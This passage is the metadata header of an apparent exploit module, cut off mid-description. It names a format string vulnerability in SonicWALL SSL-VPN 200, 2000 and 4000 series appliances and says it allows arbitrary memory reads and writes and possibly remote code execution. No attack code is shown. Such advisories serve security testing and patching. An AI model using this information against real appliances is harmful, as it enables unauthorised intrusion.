'Name' => 'SonicWALL SSL-VPN Format String Vulnerability',
'Description' => %q{
There is a format string vulnerability within the SonicWALL
SSL-VPN Appliance - 200, 2000 and 4000 series. Arbitrary memory
can be read or written to, depending on the format string used.
There appears to be a length limit of 127 characters of format
string data. With physical access to the device and debugging,
this module may be able to be used to execute arbitrary code remotely.
